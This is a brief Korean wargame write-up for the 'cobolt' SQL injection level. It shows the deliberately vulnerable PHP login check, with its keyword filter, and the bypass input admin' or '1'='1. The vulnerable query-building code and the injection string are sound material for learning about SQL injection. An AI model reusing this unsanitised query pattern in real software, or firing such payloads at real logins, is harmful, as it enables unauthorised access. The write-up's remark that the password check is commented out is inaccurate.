<문제>

gremlin 문제와 유사하다.
이 문제에서는 pw가 MD5 해시로 변환되어 저장된다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; // 입력한 id와 pw로 SQL쿼리를 생성(pw는 MD5 해시로 변환되어 저장됨)
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query)); // 쿼리를 실행하고, $result 변수에 쿼리 실행 결과를 배열 형태로 저장
if($result['id'] == 'admin') solve("cobolt"); // $result['id']의 값이 'admin'이라면 문제를 해결한 것
elseif($result['id']) echo "<h2>Hello {$result['id']} <br>You are not admin :(</h2>"; // $result에 id가 존재하지만 'admin'이 아닐 경우 해당 메시지 출력
highlight_file(__FILE__);
?>
id가 admin, pw 조건이 무시(주석처리)되도록
id=admin' or '1'='1 입력


Clear!